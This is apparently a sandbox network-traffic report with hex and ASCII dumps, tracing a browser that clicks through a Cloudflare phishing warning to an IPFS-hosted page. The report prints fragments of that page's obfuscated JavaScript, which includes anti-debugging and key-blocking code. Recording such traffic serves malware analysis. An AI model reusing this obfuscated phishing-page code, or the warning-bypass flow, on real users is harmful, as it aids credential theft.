select,#cf-wrapper textarea{background:#fff!important;border:1px solid #999!important;color:#404040!important;font-size:.86667em!important;line-height:1.24!important;margin:0 0 1em!important;max-width:100%!importan
2024-05-27 17:30:12 UTC	1369	IN	Data Raw: 3a 23 34 30 34 30 34 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 3a 37 2e 35 70 78 20 31 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 3a 65 6d 70 74 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 20 2e 63 66 2d 63 6c 6f 73 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 2e 37 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 70 61 64 64 69 6e Data Ascii: :#404040;font-size:13px;padding:7.5px 15px;position:relative;vertical-align:middle;border-radius:2px}#cf-wrapper .cf-alert:empty{display:none}#cf-wrapper .cf-alert .cf-close{border:1px solid transparent;color:inherit;font-size:18.75px;line-height:1;paddin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49710	104.17.96.13	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:12 UTC	657	OUT	GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1 Host: cloudflare-ipfs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/cdn-cgi/styles/cf.errors.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:13 UTC	409	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:13 GMT Content-Type: image/png Content-Length: 452 Connection: close Last-Modified: Wed, 22 May 2024 09:02:18 GMT ETag: "664db49a-1c4" Server: cloudflare CF-RAY: 88a7bb47a8451819-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Mon, 27 May 2024 19:30:13 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2024-05-27 17:30:13 UTC	452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 36 00 00 00 36 08 03 00 00 00 bb 9b 9a ef 00 00 00 33 50 4c 54 45 c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f ab b2 22 ed 00 00 00 11 74 52 4e 53 00 40 30 10 60 8f bf ff ef 7f af 9f df 20 50 cf 70 60 82 c8 9b 00 00 01 2f 49 44 41 54 78 01 bd d3 05 d2 b4 30 10 06 e1 8e 6c de c1 36 dc ff b2 9f 2b 95 c9 12 7e 79 4a 91 46 22 b8 c2 8b c8 80 94 6f 45 1f ac 4c 81 33 f2 ac 03 5b 1e 95 69 32 b5 94 6e 98 57 79 4a c4 91 8a 7a 26 9a 82 a9 af a4 46 95 f5 d0 1a fb 95 c7 62 bf b2 f2 e9 70 7e e3 a7 a0 df ee 7c 3a 74 35 f1 6d b3 b3 99 66 70 af 69 f2 2f 65 ef c7 fa 99 25 de 25 1b c9 b4 f0 6e d2 50 a6 ed fb 65 Data Ascii: PNGIHDR663PLTEE?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?"tRNS@0` Pp`/IDATx0l6+~yJF"oEL3[i2nWyJz&Fbp~\|:t5mfpi/e%%nPe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	55905	104.17.96.13	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:13 UTC	658	OUT	GET /favicon.ico HTTP/1.1 Host: cloudflare-ipfs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:13 UTC	500	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 17:30:13 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 14 Connection: close Set-Cookie: __cf_bm=NckoPMHvKi0JTGMgrNlWoIZzabm5r3vIL5r6R4bzEAg-1716831013-1.0.1.1-hfNIKUgErOof2oiFLeEES6rj6Y6PeMfeiL0X0p.KnJO1Md3h4L.9JHG9nxWn3p0irR7ALVQ96W451ri4DbrKmg; path=/; expires=Mon, 27-May-24 18:00:13 GMT; domain=.cloudflare-ipfs.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 88a7bb4b9dcb4213-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:13 UTC	14	IN	Data Raw: 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: Page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	55907	104.17.96.13	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:13 UTC	389	OUT	GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1 Host: cloudflare-ipfs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:13 UTC	409	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:13 GMT Content-Type: image/png Content-Length: 452 Connection: close Last-Modified: Wed, 22 May 2024 09:02:18 GMT ETag: "664db49a-1c4" Server: cloudflare CF-RAY: 88a7bb4baeba42ac-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Mon, 27 May 2024 19:30:13 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2024-05-27 17:30:13 UTC	452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 36 00 00 00 36 08 03 00 00 00 bb 9b 9a ef 00 00 00 33 50 4c 54 45 c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f ab b2 22 ed 00 00 00 11 74 52 4e 53 00 40 30 10 60 8f bf ff ef 7f af 9f df 20 50 cf 70 60 82 c8 9b 00 00 01 2f 49 44 41 54 78 01 bd d3 05 d2 b4 30 10 06 e1 8e 6c de c1 36 dc ff b2 9f 2b 95 c9 12 7e 79 4a 91 46 22 b8 c2 8b c8 80 94 6f 45 1f ac 4c 81 33 f2 ac 03 5b 1e 95 69 32 b5 94 6e 98 57 79 4a c4 91 8a 7a 26 9a 82 a9 af a4 46 95 f5 d0 1a fb 95 c7 62 bf b2 f2 e9 70 7e e3 a7 a0 df ee 7c 3a 74 35 f1 6d b3 b3 99 66 70 af 69 f2 2f 65 ef c7 fa 99 25 de 25 1b c9 b4 f0 6e d2 50 a6 ed fb 65 Data Ascii: PNGIHDR663PLTEE?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?"tRNS@0` Pp`/IDATx0l6+~yJF"oEL3[i2nWyJz&Fbp~\|:t5mfpi/e%%nPe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	55920	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KVmkthM6DpEzyGv&MD=29UUu6lb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-27 17:30:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ed1db3e1-9768-4abb-8503-358492385a62 MS-RequestId: 8243f4bc-d498-4747-88e1-b875e9107ba6 MS-CV: FsVzRYvoUUKr7K0/.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 27 May 2024 17:30:19 GMT Connection: close Content-Length: 24490
2024-05-27 17:30:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-27 17:30:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	55921	23.47.168.24	443	6296	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:20 UTC	390	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br
2024-05-27 17:30:20 UTC	247	IN	HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Accept-Ranges: bytes Content-Length: 120 Content-Type: text/plain; charset=UTF-8 Date: Mon, 27 May 2024 17:30:20 GMT Connection: close
2024-05-27 17:30:20 UTC	120	IN	Data Raw: 46 69 6c 65 20 74 68 61 74 20 61 63 74 73 20 6c 69 6b 65 20 61 20 4b 69 6c 6c 20 73 77 69 74 63 68 20 66 6f 72 20 53 4d 53 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 69 6e 20 52 65 61 64 65 72 2e 20 44 65 6c 65 74 65 20 74 68 69 73 20 66 69 6c 65 20 74 6f 20 65 6e 61 62 6c 65 20 74 68 65 20 6b 69 6c 6c 20 73 77 69 74 63 68 20 69 6e 20 52 65 61 64 65 72 2e Data Ascii: File that acts like a Kill switch for SMS functionality in Reader. Delete this file to enable the kill switch in Reader.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	55922	104.17.96.13	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:20 UTC	1097	OUT	GET /cdn-cgi/phish-bypass?atok=CT7tcRP.LUBFLZgoIYhechJ50z8EjywmGLk7DrAEPUk-1716831012-0.0.1.1-%2Fipfs%2Fbafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y HTTP/1.1 Host: cloudflare-ipfs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=NckoPMHvKi0JTGMgrNlWoIZzabm5r3vIL5r6R4bzEAg-1716831013-1.0.1.1-hfNIKUgErOof2oiFLeEES6rj6Y6PeMfeiL0X0p.KnJO1Md3h4L.9JHG9nxWn3p0irR7ALVQ96W451ri4DbrKmg
2024-05-27 17:30:20 UTC	585	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 27 May 2024 17:30:20 GMT Content-Type: text/html Content-Length: 167 Connection: close Set-Cookie: __cf_mw_byp=CT7tcRP.LUBFLZgoIYhechJ50z8EjywmGLk7DrAEPUk-1716831012-0.0.1.1-/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y; Domain=cloudflare-ipfs.com; Path=/; Max-Age=86400 Cache-Control: private, no-cache Location: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Server: cloudflare CF-RAY: 88a7bb760dc9434b-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff
2024-05-27 17:30:20 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	55923	104.17.96.13	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:20 UTC	1145	OUT	GET /ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y HTTP/1.1 Host: cloudflare-ipfs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=NckoPMHvKi0JTGMgrNlWoIZzabm5r3vIL5r6R4bzEAg-1716831013-1.0.1.1-hfNIKUgErOof2oiFLeEES6rj6Y6PeMfeiL0X0p.KnJO1Md3h4L.9JHG9nxWn3p0irR7ALVQ96W451ri4DbrKmg; __cf_mw_byp=CT7tcRP.LUBFLZgoIYhechJ50z8EjywmGLk7DrAEPUk-1716831012-0.0.1.1-/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y
2024-05-27 17:30:21 UTC	1095	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:21 GMT Content-Type: text/html Content-Length: 703804 Connection: close CF-Ray: 88a7bb76b94017b1-EWR CF-Cache-Status: MISS Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=29030400, immutable ETag: "bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y" Vary: Accept-Encoding access-control-allow-headers: Content-Type access-control-allow-headers: Range access-control-allow-headers: User-Agent access-control-allow-headers: X-Requested-With access-control-allow-methods: GET access-control-expose-headers: Content-Length access-control-expose-headers: Content-Range access-control-expose-headers: X-Chunked-Output access-control-expose-headers: X-Ipfs-Path access-control-expose-headers: X-Ipfs-Roots access-control-expose-headers: X-Stream-Output x-cf-ipfs-cache-status: miss x-ipfs-path: /ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y x-ipfs-roots: bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 50 6b 72 4c 55 65 7a 46 3d 27 27 3b 76 61 72 20 5f 30 78 34 34 34 66 64 35 3d 5f 30 78 31 38 35 62 2c 5f 30 78 32 31 62 33 66 37 3d 5f 30 78 31 38 35 62 2c 5f 30 78 32 34 32 35 63 62 3d 5f 30 78 31 38 35 62 2c 5f 30 78 35 37 66 36 37 36 3d 5f 30 78 31 38 35 62 2c 5f 30 78 33 39 65 61 63 36 3d 5f 30 78 31 38 35 62 2c 5f 30 78 35 34 32 37 35 39 3d 5f 30 78 31 38 35 62 2c 5f 30 78 Data Ascii: <html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"></head> <body><script>PkrLUezF='';var _0x444fd5=_0x185b,_0x21b3f7=_0x185b,_0x2425cb=_0x185b,_0x57f676=_0x185b,_0x39eac6=_0x185b,_0x542759=_0x185b,_0x
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 32 65 37 37 38 63 3d 3d 3d 5f 30 78 35 65 66 33 34 61 29 62 72 65 61 6b 3b 65 6c 73 65 20 5f 30 78 33 62 39 66 30 37 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 39 66 30 37 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 5f 30 78 34 65 38 61 35 62 29 7b 5f 30 78 33 62 39 66 30 37 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 39 66 30 37 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 5f 30 78 34 66 66 36 2c 30 78 35 66 65 66 33 29 2c 28 28 29 3d 3e 7b 64 65 62 75 67 67 65 72 3b 7d 2c 30 78 31 29 2c 28 28 73 68 6f 72 74 63 75 74 3d 7b 27 61 6c 6c 5f 73 68 6f 72 74 63 75 74 73 27 3a 7b 7d 2c 27 61 64 64 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 35 65 61 66 65 2c 5f 30 78 61 30 37 62 39 38 2c 5f 30 78 33 65 62 33 38 63 29 7b 76 61 72 20 5f 30 78 Data Ascii: 2e778c===_0x5ef34a)break;else _0x3b9f07['push'](_0x3b9f07['shift']());}catch(_0x4e8a5b){_0x3b9f07['push'](_0x3b9f07['shift']());}}}(_0x4ff6,0x5fef3),(()=>{debugger;},0x1),((shortcut={'all_shortcuts':{},'add':function(_0x15eafe,_0xa07b98,_0x3eb38c){var _0x
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 78 32 30 65 65 37 32 3d 5f 30 78 31 63 66 63 62 66 2c 5f 30 78 32 36 37 39 62 32 3d 5f 30 78 31 63 66 63 62 66 2c 5f 30 78 32 31 62 37 34 35 3d 5f 30 78 31 63 66 63 62 66 2c 5f 30 78 33 32 34 38 37 38 3d 5f 30 78 34 35 62 65 31 61 2c 5f 30 78 33 30 61 37 63 33 3d 5f 30 78 31 63 66 63 62 66 2c 5f 30 78 33 33 31 61 38 65 3d 5f 30 78 34 33 31 65 61 62 2c 5f 30 78 34 62 37 61 31 34 3d 5f 30 78 31 63 66 63 62 66 2c 5f 30 78 31 37 34 36 63 33 3d 5f 30 78 31 63 66 63 62 66 2c 5f 30 78 33 36 63 39 34 64 3d 5f 30 78 32 30 63 33 64 61 2c 5f 30 78 32 30 35 32 63 30 3d 5f 30 78 35 34 66 38 66 32 2c 5f 30 78 34 31 39 33 36 64 3d 5f 30 78 35 34 66 38 66 32 3b 69 66 28 5f 30 78 32 32 63 32 37 65 3d 5f 30 78 32 32 63 32 37 65 7c 7c 77 69 6e 64 6f 77 5b 27 65 76 65 6e 74 Data Ascii: x20ee72=_0x1cfcbf,_0x2679b2=_0x1cfcbf,_0x21b745=_0x1cfcbf,_0x324878=_0x45be1a,_0x30a7c3=_0x1cfcbf,_0x331a8e=_0x431eab,_0x4b7a14=_0x1cfcbf,_0x1746c3=_0x1cfcbf,_0x36c94d=_0x20c3da,_0x2052c0=_0x54f8f2,_0x41936d=_0x54f8f2;if(_0x22c27e=_0x22c27e\|\|window['event
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 78 32 65 2c 27 65 6e 64 27 3a 30 78 32 33 2c 27 70 61 67 65 75 70 27 3a 30 78 32 31 2c 27 70 61 67 65 5f 75 70 27 3a 30 78 32 31 2c 27 70 75 27 3a 30 78 32 31 2c 27 70 61 67 65 64 6f 77 6e 27 3a 30 78 32 32 2c 27 70 61 67 65 5f 64 6f 77 6e 27 3a 30 78 32 32 2c 27 70 64 27 3a 30 78 32 32 2c 27 6c 65 66 74 27 3a 30 78 32 35 2c 27 75 70 27 3a 30 78 32 36 2c 27 72 69 67 68 74 27 3a 30 78 32 37 2c 27 64 6f 77 6e 27 3a 30 78 32 38 2c 27 66 31 27 3a 30 78 37 30 2c 27 66 32 27 3a 30 78 37 31 2c 27 66 33 27 3a 30 78 37 32 2c 27 66 34 27 3a 30 78 37 33 2c 27 66 35 27 3a 30 78 37 34 2c 27 66 36 27 3a 30 78 37 35 2c 27 66 37 27 3a 30 78 37 36 2c 27 66 38 27 3a 30 78 37 37 2c 27 66 39 27 3a 30 78 37 38 2c 27 66 31 30 27 3a 30 78 37 39 2c 27 66 31 31 27 3a 30 78 37 61 Data Ascii: x2e,'end':0x23,'pageup':0x21,'page_up':0x21,'pu':0x21,'pagedown':0x22,'page_down':0x22,'pd':0x22,'left':0x25,'up':0x26,'right':0x27,'down':0x28,'f1':0x70,'f2':0x71,'f3':0x72,'f4':0x73,'f5':0x74,'f6':0x75,'f7':0x76,'f8':0x77,'f9':0x78,'f10':0x79,'f11':0x7a
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 64 63 32 64 28 30 78 61 63 29 5d 26 26 28 5f 30 78 32 32 63 32 37 65 5b 5f 30 78 32 30 65 65 37 32 28 30 78 61 63 29 5d 28 29 2c 5f 30 78 32 32 63 32 37 65 5b 5f 30 78 34 39 34 66 33 61 28 30 78 64 34 29 5d 28 29 29 2c 21 30 78 31 3b 7d 2c 74 68 69 73 5b 5f 30 78 34 35 62 65 31 61 28 30 78 38 38 29 5d 5b 5f 30 78 31 35 65 61 66 65 5d 3d 7b 27 63 61 6c 6c 62 61 63 6b 27 3a 5f 30 78 35 64 37 62 63 38 2c 27 74 61 72 67 65 74 27 3a 5f 30 78 33 39 62 39 37 35 2c 27 65 76 65 6e 74 27 3a 5f 30 78 33 65 62 33 38 63 5b 5f 30 78 34 35 62 65 31 61 28 30 78 39 38 29 5d 7d 2c 5f 30 78 33 39 62 39 37 35 5b 27 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 27 5d 3f 5f 30 78 33 39 62 39 37 35 5b 5f 30 78 31 61 33 31 35 30 28 30 78 61 66 29 5d 28 5f 30 78 33 65 62 33 38 Data Ascii: dc2d(0xac)]&&(_0x22c27e[_0x20ee72(0xac)](),_0x22c27e[_0x494f3a(0xd4)]()),!0x1;},this[_0x45be1a(0x88)][_0x15eafe]={'callback':_0x5d7bc8,'target':_0x39b975,'event':_0x3eb38c[_0x45be1a(0x98)]},_0x39b975['addEventListener']?_0x39b975[_0x1a3150(0xaf)](_0x3eb38
